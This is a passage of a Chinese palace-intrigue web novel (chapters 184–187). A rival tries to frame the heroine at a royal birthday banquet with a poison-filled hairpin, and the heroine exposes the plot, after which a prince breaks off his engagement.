她本就对萧怀瑾的这位未婚妻没什么好感,此刻见她这般做派,更是气不打一处来,低声对姜瑶真抱怨道:“三皇子妃,你看她这是何意?初次见面,就迫不及待彰显自己的财大气粗吗?未免也太俗不可耐了!” “张姑娘息怒,商贾人家嘛,示好的方式就是这般直接,她并无恶意。”姜瑶真嘴上轻声安抚,心中却在暗自腹诽这张嫣不知好歹。 白白得了一件价值不菲的礼品,还有什么可抱怨的? 片刻后,换了一身藕荷色衣裙的苏婉袅袅而回。 她径直走到姜瑶真身边,笑着道:“三皇子妃,您今日若是不来,我也正打算进宫寻您。我想请您在宫中办一场宴席,就在三皇子的宫殿里,将京中相熟的世家贵女都请过去。” “办宴席?”姜瑶真精神一振,立刻凑近了些,声音压得更低,“莫非……苏姑娘已经想好了对付我那好姐姐的法子?” 苏婉的目光下意识地朝张嫣瞥了一眼,带着几分犹豫。 姜瑶真立刻会意,拍了拍她的手背道:“苏姑娘放心,张姑娘如今与我们是一条船上的人!” 苏婉挑了挑眉,语气里带着一丝毫不掩饰的诧异:“难道……姜姝宁竟连肃王也勾搭?” 空气瞬间凝滞。 张嫣脸色有些难看。 她真正在意的并非自己的未婚夫婿萧锦瑜,而是萧怀瑾。 她之所以愿意与姜瑶真为伍,针对姜姝宁,也全然是为了那个温润如玉的五皇子。 这个秘密她并不打算让苏婉这个初次见面的“盟友”知晓。 姜瑶真连忙强行将话题拉了回来:“哎,不说这个了!苏姑娘,还是快说说你的妙计吧!” 苏婉唇角勾起一抹淬了毒般的笑意,她凑近二人,低声道:“今日我邀姜姝宁来苏府,特地送了她一根金钗……” 她把自己的计划说了出来,尔后嘟着嘴道:“这个计谋虽好,但我实在不愿挨那一下,想想都觉得疼!” “那便由我来。” 张嫣的声音冷得像冰,却没有一丝一毫的犹豫,“只要能坐实姜姝宁谋害皇室姻亲的罪名,区区一点皮肉伤,又算得了什么?” “当真?”苏婉眼中一亮,故作惊喜地上前握住她的手,亲热道,“那可就真有劳张姑娘了!” “客气。”张嫣却不动声色,甚至带着一丝嫌恶,将自己的手从她温热的掌心中抽了出来。 等解决了姜姝宁,下一个便轮到苏婉了。 她心中的月亮,岂容别的女人染指? 哪怕一个挂名侧妃,她也容不下! 只不过,如今两害相权取其轻。 比起苏婉这个未婚妻,那个夺走了萧怀瑾心的姜姝宁,才是她心头最大的那根刺,必须先一步拔除! 不出三日,相府便收到了宫里送来的烫金请帖,邀请他们参加三皇子妃姜瑶真的生辰宴。 按照大邺习俗,寿辰可早办却不宜推迟,但提前了整整一个多月,这份急不可耐的背后,隐隐透着一股不同寻常的意味。 果不其然,宫里的请帖前脚刚到,苏府的信使后脚便登了门,点头哈腰地转达了苏婉的“央求”——恳请姜姝宁务必在三皇子妃的生辰宴那日,务必戴上她相赠的那支海棠金钗。 “我家小姐说,此钗乃今岁时兴的新样子,若能得姜姑娘在三皇子妃的生辰宴上佩戴,定能引得满座贵女争相效仿,届时我们苏家的生意定会节节攀升!”信使搓着手,笑得一脸谄媚。 凌芜当即一声冷哼,毫不客气地戳穿:“既是为了生意,为何不请生辰宴的主角三皇子妃佩戴?她的身份,岂不是比我家小姐更引人注目?” “这……”信使顿时被噎得满脸通红,支支吾吾半天说不出个所以然。 姜姝宁却抬手制止了凌芜,温声道:“你回去告诉苏姑娘,这金钗,我届时定会戴上。能为苏家的生意锦上添花,也是一桩美事。” 那信使如蒙大赦,千恩万谢地退下了。 人一走,凌芜便急了:“大小姐!这鸿门宴的意味都快写在脸上了,您怎么还答应她?” “人家戏台都搭好了,我们岂有不到场的道理?”姜姝宁眼底闪过一丝冷光,悠悠问道,“吩咐你去银楼仿制的那支金钗,可取回来了?” “早已取回,奴婢比对过,与苏家那支分毫不差!” “甚好。”姜姝宁微微颔首,“寿宴那日,我便戴那支新做的。” 她倒要亲眼看看,她的好妹妹和那位苏家小姐,究竟为她准备了一场怎样的大戏! 第184章 像个市井无赖! 第一百八十四章 像个市井无赖! 姜瑶真生辰宴那晚,麟阁宫万分热闹。 宫内华灯璀璨,衣香鬓影,受邀而来的不仅有太后与各宫贵妃,更有满朝重臣及其家眷。 三皇子萧修湛甚至不计前嫌,将几位已经封王和尚未封王的兄弟,就连同死对头萧凌川都一并请了来。 他比谁都清楚,这场以生辰为名的盛宴,其实是个精心布置的戏台,只为等待某个特定的角色登场,而观众,自然是越多越好。 当姜姝宁与堂弟姜天泽一同抵达时,她一袭素雅的湖蓝色衣裙,在满室的绮罗珠翠中,反而显得格外醒目。 几乎是她踏入殿中的瞬间,一道身影便黏了上来。 “姜姑娘,可算把你盼来了!”苏婉笑意盈盈,目光如钩,飞快地在她发髻上扫过,当看到那支熟悉的海棠金钗时,唇边的笑容瞬间加深,明媚中透着一丝志在必得的精光。 姜姝宁注意到她身穿桃红色裙装,显得娇艳又明媚。 她敛了敛眸,为苏婉引荐:“苏姑娘,这是我堂弟,姜天泽。” “见过苏姑娘。”姜天泽依着礼数颔首,态度不卑不亢,却也带着一丝疏离。 苏婉仿佛没听见一般,亲热 地挽上姜姝宁的手臂:“姜姑娘,这满殿的人,我瞧着都眼生,正觉得无趣呢!你快陪我走走!” 姜天泽眉头微蹙,正要跟上,却被姜姝宁一个安抚的眼神制止了。 “也好,”姜姝宁从容一笑,“我正要带堂弟去拜见今日的寿星三皇子妃,苏姑娘不如一道前往?” 她心底冷笑,绝不信姜瑶真将生辰宴提前整整一月,与苏婉毫无瓜葛。 恐怕这二人早就暗中勾结,狼狈为奸。 不出所料,苏婉立刻故作娇嗔地摆摆手,摇头道:“哎呀,人多眼杂,我看着就头晕。咱们还是自个儿逛逛吧!” 姜姝宁心中了然,看来今日作妖的不是姜瑶真,否则苏婉也不会刻意避开她。 就在这时,一道目光穿过人群,落在了姜姝宁身上。 萧怀瑾迈着沉稳的步子,缓缓向她走来。 “五皇子殿下!”苏婉抢先开口,声音里带着刻意的娇俏,身形一闪,迅速挡在姜姝宁身前,“您是特意来寻我的吗?” 萧怀瑾并未理会她,深邃的视线依然停留在姜姝宁身上,似有千言未吐。 姜姝宁神色平静,微微屈膝行礼:“臣女见过五皇子殿下。” “免礼。”萧怀瑾的声音一如既往清冽如泉,语气中透着一丝不易察觉的柔和,“姜姑娘……” “殿下,”苏婉毫不犹豫地打断他,语气暧昧,娇笑中满是试探,“您难道就没有话想对我说吗?” 她那娇憨的神态,仿佛与萧怀瑾早就熟稔无间。 萧怀瑾微微一顿,以为她在暗示退婚之事,目光在她身上短暂停留,最终点了点头:“苏姑娘,我的确有事想问你。” “姜姑娘,真是不好意思,殿下与我有私事要谈。”苏婉故作歉然地转身,眼底的得意却几乎要化为实质满溢而出,“你先四处看看,我稍后便来寻你。” “好。”姜姝宁唇角微勾,从善如流。 她其实有些失望的。 苏婉能拿得出手的,就这点上不得台面的争风吃醋的伎俩而已吗? 费尽心机布下这么大的阵仗,若只是演这种闺阁女儿家的小打小闹,那也未免太无趣了些。 姜姝宁转身朝正殿走去,却不想刚迈出一步,便撞上了一堵人墙。 抬头一看,萧凌川那张冷峻的脸赫然出现在眼前。 他一袭玄色锦袍,腰间玉带勾勒出劲瘦的轮廓,眉眼间带着几分玩味,像是早就候在这儿等着她。 “姜姑娘,走得这么急,是要去哪儿?”萧凌川的声音低沉,带着一丝刻意的揶揄。 姜姝宁一看到他,就不由自主想起那日亲眼目睹他虐杀姜家姨娘的画面,实在生不出半分好感。 她不动声色地退后半步,拉开距离:“臣女自是要去正殿为三皇子妃贺寿,王爷若无他事,臣女便先行一步。” 萧凌川轻笑一声,笑意却不达眼底,他故意道:“姜姑娘方才应该见过五弟的未婚妻苏姑娘了吧?她和我五弟可真是般配得紧,旁人看了都得说一句天作之合。” 他这话说得阴阳怪气,像是试探,又像是故意挑拨。 姜姝宁唇角微微一勾,抬眼看向他,语气平静得近乎冷漠:“王爷说笑了,五皇子与苏姑娘如何,与臣女何干?” 萧凌川眯了眯眼,似乎不信她会无动于衷。 他上前一步,逼近她,声音压低了几分,带着几分意味深长:“姜姑娘,别怪本王没提醒你,这世上善妒的女子最是可怕,会做出些骇人听闻的事来。依本王看,你还是离苏姑娘远些,免得惹祸上身。” 姜姝宁听出他话里的暗示,隐隐有些意外。 这苏婉对自己的敌意当真如此明显,竟连萧凌川都看得出? 她像是听了个无关紧要的笑话,淡淡道:“多谢王爷提醒。不过,今日是三皇子妃的生辰宴,王爷不去送贺礼,站在这与臣女说这些,未免有些本末倒置了吧?” 她心中冷笑,心上人生辰宴这么重要的场合,他不急着去献殷勤,反而有闲情逸致与她在这里东拉西扯? 当真是稀奇。 她下意识朝苏婉的方向瞥了一眼,想着那女人接下来还能玩出什么花样。 萧凌川以为她在偷瞄萧怀瑾,眉头微皱,语气里多了几分不耐:“姜姑娘既惦记着送礼,不如咱们一道去,也好让本王见识见识你的心意。” 姜姝宁一愣,还没来得及拒绝,手腕已被他一把扣住,力道不重,却不容挣脱。 她皱眉,低声道:“王爷这是何意?” 萧凌川低笑,声音里带着几分揶揄:“本王不过是想陪姜姑娘走一趟,免得你一个人无聊。” 他不由分说,拉着她便往正殿走去。 姜姝宁怕拉拉扯扯反倒引人注目,只得压下心头的不快,随他前行。 宽大的袖子底下,她的手腕被他握着,他掌心的温度炙热,烫得她心头一跳。 她不动声色地抽了抽手,却被他握得更紧,显然是故意为之。 她咬了咬唇,暗骂萧凌川堂堂皇子,行事却像个市井无赖! 正殿内,姜瑶真正被一众宾客围着,笑得满面春风。 她一袭鹅黄宫装,头戴金步摇,端的是明艳动人。 桌上堆满了各色贺礼,珠光宝气映得她眼底都亮了几分。 听见通报声“景王殿下到”,她笑容微僵,抬眼看向萧凌川,目光中闪过一抹不易察觉的恨意。 不过,她掩饰得极快,下一刻便换上了一副娇俏可人的模样,起身迎上前:“景王殿下肯赏脸来,实是妾身的福分,殿下快请上座。” 她笑容甜美,偏偏那双眼睛却冷得像淬了冰。 萧凌川松开姜姝宁的手,微微颔首,语气不咸不淡:“三皇子妃过奖了。本王不过略备薄礼,聊表心意。” 他从随从手中接过一个锦盒,递了过去。 姜瑶真接过,打开一看,里面是一尊精致的玉雕,雕的是一朵莲花,花瓣莹润剔透,栩栩如生,唯独花头朝下,像是被人故意倒置。 周围的宾客纷纷凑上前,啧啧称赞:“好玉!这玉质,当真是上品!” 姜瑶真轻抚着玉雕,眼中满是欣赏:“景王殿下真是大手笔,这玉雕做工精致,妾身喜欢得不得了!” 姜姝宁站在一旁,冷眼旁观,心中却有些疑惑。 这玉雕虽美,却透着一股怪异,花头朝下,哪有人送这样的礼? 她瞥了萧凌川一眼,见他嘴角噙着一抹冷笑,眼神深邃,像是藏了无数算计。 她隐约觉得这玉雕别有深意。 萧凌川探究的目光在姜瑶真脸上停留片刻,但她神情如常,没有任何波澜。 难道她不知道,自己生母的真正名字是花莲? 看来,姜瑶真至今还以为自己是南月公主花芷若的女儿。 萧凌川在心中冷笑,花莲还真是将身世瞒得滴水不漏,连自己女儿都骗过。 就在这时,那个莲花玉雕毫无征兆地裂开来,碎了一地。 姜瑶真的笑容瞬间僵在脸上。 第185章 处心积虑的陷害 第一百八十五章 处心积虑的陷害 突如其来的碎裂声,让满殿宾客顿时愣住。 众人还未回神,便见那碎开的莲花玉雕中,竟藏着一尊小巧的玉质女子雕像,眉目慈和,宛若菩萨。 “原来这玉菩萨才是真正的贺礼!”有人惊叹,宾客们随即纷纷附和,笑道:“景王殿下这份心意,真是别出心裁!” 她忽然想起前世萧凌川的生辰宴上,姜瑶真也曾送过他一尊极为相似的菩萨玉雕。 这造像与大邺常见的菩萨迥然不同,莫非是南月国特有的风俗? 他们是否借这玉菩萨暗中传递什么隐秘讯息? 四周宾客的恭维声此起彼伏,姜瑶真面上强撑着得体的笑意,竭力维持着三皇子妃的端庄姿态。 其实,她内心早已怒火中烧,几乎按捺不住。 在南月国,这尊“母神”玉雕是专为祭祀亡母所用。 在生辰宴上送出这样的礼物,无异于送上纸钱或棺材,晦气至极,简直是赤果果的挑衅! 萧凌川冷眼旁观着她极力掩饰的愤怒,唇角勾起一抹冰冷的笑意。 前世,他收到姜瑶真赠送的母神玉雕时,心中满是感动——他的生母在大邺皇室乃是禁忌,姜瑶真的礼物仿佛让他得以寄托哀思。 后来,他才知道那不过是姜瑶真母女虚情假意的手段,借此笼络他,诱他谋逆,最终只为她们坐收渔翁之利。 今生,他索性将这尊母神玉雕“归还”姜瑶真,既是试探,也暗藏恶毒的诅咒。 姜瑶真的神情终于露出一丝裂痕。 她强挤出笑容,提议与萧凌川私下交谈,眼底却是藏不住的恨意。 姜姝宁敏锐地捕捉到两人之间的暗流涌动,心中一再告诫自己切莫插手,却仍鬼使神差地悄悄跟了上去。 只见萧凌川与姜瑶真一同步入后花园,她正准备跟上,却被一只手猛地拽住。 “姜姑娘,可算找到你了!”苏婉笑靥如花,紧紧拉着她的手,“夜宴还没开始,你陪我四处逛逛吧!” 姜姝宁神色微沉,她不能让苏婉察觉自己在跟踪萧凌川他们,只得勉强应下。 后花园中,姜瑶真骤然停下脚步,猛地转身怒视萧凌川:“景王殿下究竟是何居心?在我生辰宴上送出如此晦气之物,就不怕遭天谴吗?” 在她看来,萧凌川不仅杀了她的姨娘,如今还故意送上这尊母神玉雕,分明是赤果果的羞辱与诅咒,简直欺人太甚! 萧凌川闻言,冷笑一声,语气淡漠而讥讽:“本王若放任你们母女在大邺境内为非作歹,那才真是会遭天谴。三皇子妃见本王没死在南朔之地,心中很是失望吧?” “我不知王爷此言何意。”姜瑶真别开视线,强自镇定。 她姨娘设计暗杀萧凌川一事已然失败,如今她只能装作一无所知,免得被牵连其中。 萧凌川冷笑更深,目光如冰:“怎么,三皇子妃难道不想取回你姨娘的尸首吗?”姜瑶真闻言,脸色陡变:“你到底想要什么?” “把玉牌给本王,本王便将你姨娘的尸首归还。”萧凌川目光如刀。 “什么玉牌?”姜瑶真皱眉,似是满腹疑惑,“我姨娘从未提过什么玉牌!” 萧凌川凝视她片刻,她眼底的茫然不似作伪。 难道,玉牌真不在她身上? 就在此时,一声尖利的惊叫撕 裂夜空,刺耳而急促:“救命啊!姜姑娘杀人了——” 萧凌川神色骤变,当即转身,循着声音的来源疾步冲出后花园。 姜瑶真站在原地,唇角缓缓勾起一抹阴冷而得意的笑意。 好戏,终于开场了。 只见一袭粉色裙装的张嫣从假山后踉跄跑出,她边跑边声嘶力竭地尖叫:“姜姑娘杀人了——” 她的左肩处,黑红色的血不断涌出,触目惊心,在众目睽睽之下,她无力地倒在地上,气息微弱。 姜瑶真装作慌乱失措地从后花园快步跑来,声音急切:“这究竟是怎么回事?快,速速宣御医!” 御医闻讯赶来,迅速为张嫣施针,随后禀告姜瑶真,语气凝重:“三皇子妃,张姑娘左肩被刺伤,且中了剧毒!看这伤口,像是女子佩戴的簪柄所致。” “是谁如此狠毒?”姜瑶真环顾四周,声音中带着几分震怒,“方才谁在假山后?” “我和姜姑娘方才就在假山后!”苏婉主动上前,脸上满是惊慌失措的神情,“张姑娘怎么了?怎么会受伤?都怪我,方才我不该与姜姑娘起争执,她定是将张姑娘错认成了我……” 众人这时才注意到,苏婉身上的衣裙与张嫣的几乎一模一样,颜色、款式都难分彼此。 再加上张嫣方才冲出时声嘶力竭地喊着“姜姑娘杀人了”,所有人的目光顿时齐刷刷地落在了从假山后缓缓走出的姜姝宁身上。 “姐姐,你为何要伤张姑娘?”姜瑶真一副痛心疾首的模样,“我知道苏姑娘与五皇子殿下定亲,你心中一直不满,可你也不能因此妒恨苏姑娘,甚至错伤了张姑娘。你竟用带毒的簪柄下手,心肠怎会如此歹毒!” 听到这话,宾客们一片哗然。 太后闻讯而来,脸色阴沉,沉声问道:“究竟是怎么回事?” 姜瑶真连忙趁机道:“皇祖母,张姑娘方才高声喊着说我姐姐要杀她,如今她左肩流血不止,且似乎中了剧毒!” 太后冷声下令:“既然如此,还不速速将张姑娘送去医治?” “是,太后娘娘!”御医不敢怠慢,忙招呼几名内侍上前,小心翼翼地将已因中毒而神志昏迷的张嫣抬了出去。 “皇祖母,今日是妾身的生辰宴,怎料竟出了这样的事!还请皇祖母千万莫要重罚我姐姐,她也是一时无法接受苏姑娘与五皇子殿下定亲之事,这才酿下大错!” 姜瑶真看似在为姜姝宁求情,实则字字句句都在给她定罪,步步紧逼。 萧怀瑾见状,当即就要上前为姜姝宁辩解,却被萧凌川一把拽住。 他冷声道:“你若不想给姜姑娘添乱,就莫要上去掺和!” 萧怀瑾怒目而视:“四哥难道一点也不担心姜姑娘?她分明是被人陷害的!” 萧凌川冷哼一声,带着几分不屑:“你未免太小看她了,她自有办法证明自己的清白!” 方才听到那呼救声时,萧凌川的第一反应便是姜姝宁遭遇了危险。 当他赶来发现受伤的并非她时,心中悬着的石头才落地。 再见姜姝宁一脸从容镇定,他便笃定她能自行化解这场危机。 太后转头看向姜姝宁,目光凌厉,语气中带着不容置疑的威压:“姜姑娘,三皇子妃所言是否属实?” 面对质问,姜姝宁神色平静:“启禀太后,臣女没有刺伤张姑娘。臣女与她无冤无仇,没有伤害她的理由!” “还敢狡辩,方才张姑娘分明喊的是你!”姜瑶真一脸愤怒,咄咄逼人,“你原本是想刺伤苏姑娘,只因张姑娘穿得与她相似,再加上假山后灯火昏暗,你才认错了人!” 姜姝宁闻言,唇角勾起一抹嘲讽的笑意,目光冷冽地看向姜瑶真,反问道:“既然假山后灯火昏暗,我会认错人,那张姑娘怎么能一眼就认出是我伤了她?” “这……”姜瑶真语塞,脸色微变。 她一心想着自圆其说,竟忽略了这个明显的漏洞,一时被问得哑口无言。 苏婉见状,忙不迭道:“启禀太后,既然御医说张姑娘是被簪柄刺伤,那可否请姜姑娘将发髻上的簪子和金钗尽数卸下,以此自证清白!” 太后微微颔首,目光冷肃,对身旁的吴嬷嬷吩咐道:“你去帮姜姑娘把她头上的朱钗簪子都取下来。” “是,太后娘娘!”吴嬷嬷恭敬应声,随即端着一个托盘,快步来到姜姝宁身前,语气平和却不容置疑,“请姜姑娘配合。” 人群中的姜天泽见此情景,顿时怒火中烧:“你们怎能如此羞辱我大姐姐!” “无妨,我配合便是。”姜姝宁淡淡一笑,声音平静而从容,不受半分影响。 她亲自动手,将头上的簪子一一摘下,交到吴嬷嬷手中。 她本就未佩戴多少首饰,摘下后发髻虽略显松散,却无损她的端庄气度。 苏婉目不转睛地盯着她摘下的那根海棠金钗,唇角悄然勾起一抹得意的笑意。 她刻意加重语气,似是好心提醒:“有些簪柄特意设计了空隙,专供女子装香粉用,嬷嬷可要仔细查验,难保不会在这簪柄中藏着什么害人的东西……” 她话音未落,吴嬷嬷已将仅有的三根朱钗逐一细查完毕,随后恭敬地向太后禀告:“启禀太后,姜姑娘所佩戴的簪子和朱钗上并无任何血迹,亦未发现毒粉的痕迹。” 苏婉闻言,脸色骤然一变,失声低呼:“这怎么可能?” 她再也按捺不住,径直上前从托盘中拿起那根海棠金钗,试图旋开簪柄查看。 然而,无论她如何用力,那簪柄却纹丝不动,毫无松动之象。 姜姝宁神色淡然地注视着她徒劳的举动,缓缓开口,语气中带着几分嘲讽:“苏姑娘,你不必白费力气了,这并非你送我的那根金钗。” 她稍作停顿,继续道,“你送我的那根金钗太过贵重,我今日出门前已命人将其退还至苏府,想来,你们苏府的人已经收下!” 萧凌川闻言,立即沉声下令:“凌风,即刻前往苏府,将姜姑娘退回的那根金钗取来!本王倒要看看,究竟是何人如此处心积虑地陷害姜姑娘!” 此言一出,苏婉的脸色瞬间变得煞白! 第186章 解除婚约 第一百八十六章 解除婚约 苏婉万万没有料到,姜姝宁竟将那根暗藏玄机的金钗退回了苏府。 看着姜姝宁那双平静如水的眸子,她心中猛地升起一个令人毛骨悚然的猜测:姜姝宁早就洞悉了一切! 她故意踏入这局中,故意佩戴另一根相似的金钗,就是要诱使自己和三皇子妃一步步逼近,将所有的阴谋算计都摊开在众人眼前,然后在最后关头,以这致命一击,把自己彻底钉死在罪人的耻辱柱上! 这个念头如同一盆刺骨的冰水,从苏婉的头顶直浇而下,她四肢百骸都泛起一阵寒意。 姜姝宁不过一个十七岁少女,怎会拥有如此可怕的心机! 她竟能不动声色地配合着她们,将这场戏演得滴水不漏,直至最后一刻才揭开真相,让人无从辩驳! 麟阁宫殿内的气氛因萧凌川的命令而陷入一种诡异的死寂。 所有人的目光都汇聚在苏婉那张惨白如纸的脸上,有鄙夷,有惊愕,也有幸灾乐祸。 姜瑶真垂在身侧的手指悄然收紧,指甲深深掐入了掌心。 她同样惊骇于姜姝宁的后手,但她反应更快,脑中已在飞速盘算如何将自己从这场泥潭中摘得干干净净。 时间仿佛被拉得极长,每一分每一秒都像是在苏婉心头凌迟。 终于,凌风的身影如鬼魅般再次出现在殿门口,他手中托着一个锦盒,步履沉稳地走到殿中,单膝跪地:“王爷,金钗已取回。” 吴嬷嬷上前接过锦盒,呈给太后。 太后冷声命令:“让御医验。” 御医上前,接过那根与姜姝宁头上别无二致的海棠金钗,只轻轻一旋,那看似浑然一体的钗柄果然应声而开,一小撮雪白的粉末从中断口处倾倒而出。 御医验了毒,随即肯定地禀告:“启禀太后,王爷,此毒与张姑娘所中之毒,分毫不差!” 殿内响起一片倒吸冷气之声。 萧凌川的目光如利剑般射向苏婉:“苏府的下人也已确认,这根金钗是在生辰宴开始前便送回府上。也就是说,姜姑娘来参加生辰宴之时,根本没机会接触这根毒钗。” 他的声音不高,却字字如千钧重,砸得苏婉摇摇欲坠。 “这根海棠金钗是苏姑娘送给姜姑娘的,上面还带着张姑娘伤口上的毒粉,苏姑娘,你要如何解释?” 萧凌川的声音陡然转冷,带着几分咄咄逼人的威压。 苏婉再也支撑不住,“噗通”一声跪倒在地。 她涕泪横流,声嘶力竭地尖叫:“不是我!不是我!张姑娘都说了,是姜姑娘刺她的!你们都听见了!” “假山后灯火昏暗,张姑娘惊慌之下会认错人,也不足为奇。”萧凌川看都未看她一眼,转而对太后躬身道,“皇祖母,苏姑娘心肠歹毒,手段阴狠,竟敢在三皇子妃的生辰宴上行刺朝臣家眷,还企图栽赃嫁祸,罪不可赦!孙儿提议,将其重打五十大板,以儆效尤!” 五十大板! 苏婉被吓得魂飞魄散。 以她这娇生惯养的身子,别说五十大板,便是二十大板也能要了她的命! 求生的本能让她顾不得一切转向一旁的姜瑶真,哭喊道:“三皇子妃!三皇子妃,你说句话啊!你快帮我说句话啊!” 姜瑶真被她这般指名道姓,脸色微微一僵。 她看着苏婉那狼狈不堪的模样,心中最后一丝犹豫也荡然无存。 这颗棋子已经废了,再不撇清关系,就要引火烧身了。 她当即换上一副痛心疾首的面孔,向前一步,故作为难地蹙起眉头:“苏姑娘,本宫实在不明白。张姑娘与你无冤无仇,你为何要对她下此毒手?” 这一句看似疑问,实则已是盖棺定论。 苏婉怔住了,难以置信地看着姜瑶真。 姜瑶真脸上写满了恰到好处的困惑与惋惜,仿佛对此事毫不知情。 原来,她早就想好了退路。 如今张嫣中毒昏迷,姜瑶真反戈一击,所有的罪证都指向苏婉一人。 苏婉的心彻底沉入了冰窖,她是真的慌了。 就在此时,一个焦急的声音从殿外传来:“太后娘娘开恩!王爷开恩啊!” 众人循声望去,只见苏老爷连衣帽都来不及戴正,便一路小跑着冲进殿内,重重地跪在了太后与萧凌川面前:“太后,王爷,小女年幼不懂事,因听信坊间传言,说……说五皇子殿下曾对姜姑娘心生爱慕,这才一时被嫉妒蒙了心,犯下滔天大错啊!求太后开恩,饶了她这一次吧!” 萧凌川闻言,嘲讽一笑:“令爱已经十八,姜姑娘才十七。苏大人竟以她‘年幼不懂事’为由,想逃避罪责,简直可笑至极!” 听到这话,一直沉默不语的姜姝宁脸上掠过一丝极其细微的尴尬。 萧凌川其实比谁都清楚,她这具十七岁的皮囊里,装着的不是不谙世事的少女,而是曾在深宅里被蹉跎了十年的三十岁妇人。 所以在苏婉使出这等拙劣计谋时,她非但不怕,甚至觉得有些可笑。 苏老爷被噎得满脸通红,却不敢反驳,只是一个劲地磕头:“是草民教女无方!婉儿今日如此任性妄为,都是草民这个做父亲的没教好,草民愿将苏家家业的一半充入国库,以此为小女赎罪!” 此言一出,满座皆惊。 苏家乃是京城巨富,其家业一半,是何等惊人的财富! 太后原本冷硬的脸色,似乎也因苏老爷这番爱女心切的泣血之言和惊天的价码而有了一丝松动。 她沉默片刻,缓缓开口:“罢了,看在你一片舐犊情深的份上,哀家便允了。但苏姑娘伤人在先,须得张姑娘醒来后同意不予追究,方可了结此事。” 苏婉与苏老爷闻言,紧绷的神情稍稍松懈。 然而,不待他们彻底松一口气,一旁始终冷眼旁观的五皇子萧怀瑾却骤然站出。 他朝太后恭敬一礼,语气却透着不容置疑的坚定:“皇祖母,苏姑娘心性善妒,手段狠毒,今日之事更是骇人听闻。孙儿……断不愿与此等女子结为连理。恳请皇祖母为孙儿做主,准许孙儿与苏氏退婚!” 这番话,宛如一记无形的重击,狠狠掴在苏婉脸上。 她不敢置信地看着自己的未婚夫,泪眼模糊:“五皇子殿下……你怎么能……怎么能如此落井下石?” 萧怀瑾却连一个眼神都懒得施舍给她,只是固执地望着太后,重复道:“请皇祖母成全!” 他心里清楚,此举多少有些过分。 但今日是一个名正言顺解除婚约的绝佳时机,若是错过了这个机会,只怕日后真要与她沦为一对怨偶,彼此厌憎。 方才他私下与她商讨解除婚约之事时,她笑得狡黠而意味深长:“五皇子殿下当真以为一头小鹿便能让民女同意解除婚约?殿下未免太过天真了,民女要的何止是一头小鹿,民女还要那五皇子妃的尊贵名分,以及五皇子殿下的……真心宠爱!” 萧怀瑾这才意识到自己被她戏耍了。 也是,一个出身商贾之家的女子,哪怕表面再如何单纯,又怎可能为了一只宠物,就轻易放弃这唾手可得的婚约和荣华富贵? 既然她出尔反尔,言而无信,那便休怪他借此机会,果断解除这个婚约! 太后见萧怀瑾态度如此坚决,只能应下:“既如此,那便依你吧。” 第187章 格外迟钝 第一百八十七章 格外迟钝 一场闹剧这才总算落下帷幕。 苏婉被宫人半拖半扶地带了下去,哭声凄厉。 苏老爷仿佛瞬间苍老了十岁,佝偻着背,失魂落魄地跟在后面,那背影里再无半分京城巨富的意气风发。 殿内的气氛一时有些诡异的寂静,随即又被压抑的私语声重新填满。 宾客们交换着心照不宣的眼神,目光在狼狈退场的苏家父女、面色清冷的姜姝宁以及两位皇子之间来回逡巡。 幸灾乐祸者有之,扼腕叹息者有之,更多的是对这场恩怨后续的无限遐想。 谁都看得出来,五皇子当众退婚,虽是苏婉咎由自取,但那份决绝,却不仅仅是为了撇清关系。 那双总是温润含笑的眼睛,在看向姜姝宁时,分明藏着别样的光。 生辰宴草草散场,众人陆续起身告退。 姜姝宁也正准备同家人一起离开,一个温和又带着几分急切的声音自身后传来。 “姜姑娘,请留步。” 姜姝宁回过头,只见萧怀瑾快步走来,清隽俊逸的脸上带着几分歉疚与急切,试图解释道:“姜姑娘,之前我将绒毛赠予苏姑娘,其实是……” “殿下。”姜姝宁语气平静地打断他,不动声色地后退半步,拉开两人间的距离,“您如何处置自己的爱宠,是您的自由,您无需向臣女解释。” 这疏离而客气的语气,宛如一堵无形的壁垒,瞬间将萧怀瑾的热切隔绝在外。 就在这时,萧凌川缓步踱来,嘴角噙着一抹意味深长的笑:“五弟,若本王是你,刚退了婚,便不会如此急切地来寻姜姑娘。否则,满殿宾客怕是要误以为,姜姑娘才是让你执意抛弃未婚妻的缘由!” 萧怀瑾闻言,脸色霎时一沉,隐隐透出几分难堪。 他见姜姝宁眉心微蹙,一副刻意避嫌的模样,心中更觉一阵窘迫:“姜姑娘,我绝无此意……是我唐突了,告辞!” 他懊恼地看了她一眼,随即转身,略显狼狈地匆匆离去。 望着他落寞的背影,姜姝宁心头百味杂陈。 她自然明白,今日之事,错不在萧怀瑾。 然而,无论是张嫣还是苏婉,她们的嫉妒与算计,归根结底,皆因对他的倾慕与执念而起。 这不由让她心生退意,愈发想要避而远之。 “五弟,”萧凌川故意冲着萧怀瑾的背影道,“恭喜你,今日得以如愿以偿!” 那语气里的嘲弄,像一根细小的针,扎在萧怀瑾的背上。 他身形僵了僵,却没有回头。 罢了,四哥的话虽然难听,但他说得没错。 自己总算是摆脱了那段令人窒息的婚约,这便是最大的“如愿以偿”。 至于姜姑娘……他暗自攥紧拳头,来日方长,他定会用自己的真心与诚意,慢慢化解她的戒备,让她真正明白自己的心意。 他这般想着,加快了脚步,消失在了殿门之外。 萧怀瑾离去后,姜姝宁微微欠身,向萧凌川恭敬行礼:“今日之事,多谢王爷出手相助。” 听到这话,萧凌川那双桃花眼中霎时涌起一抹如水般的柔光,语气中多了几分亲昵:“姝宁,你我之间,何必如此生分……” “王爷如此维护臣女这位盟友,臣女自当竭尽所能,助王爷成就大业!”姜姝宁语气平静,目光却始终疏离。 萧凌川脸上的神情一僵,声音中透着几分不悦:“你以为本王今日帮你,只因为你是本王的盟友?” “自然不完全是。”姜姝宁神色淡然,语气中带着一丝剖析的冷静,“苏家身为京城巨富,不受皇室约束,行事向来张扬跋扈。王爷今日紧抓苏婉刺杀并污蔑臣女一事不放,逼得苏老爷将半数家业捐入国库,既充实了国库,又重挫了苏家嚣张的气焰,实乃一石二鸟。今日得偿所愿的,岂止是五皇子殿下,王爷不也同样如愿以偿?” 萧凌川怒极反笑,声音中夹杂着几分咬牙切齿的意味:“没错,本王所做一切,都是为了大邺,与你半分关系也没有!” 他怎么会看上这么不知好歹的女子? “王爷英明。”姜姝宁依旧是那副清冷疏远的模样,不为所动。 以她对萧凌川的了解,他比任何商贾都更为精于算计。 今日之举,绝不仅仅是为了帮她解围,背后定然隐藏着更大的利益考量。 萧凌川骤然上前一步,高大的身躯将她逼至角落,眼神中透着几分侵略的锐芒:“只是,你身为本王的盟友,至今本王却未见你有半点贡献!姜姑娘莫不是打算待本王登临高位后,仅在榻间侍奉便敷衍了事?” 无耻! 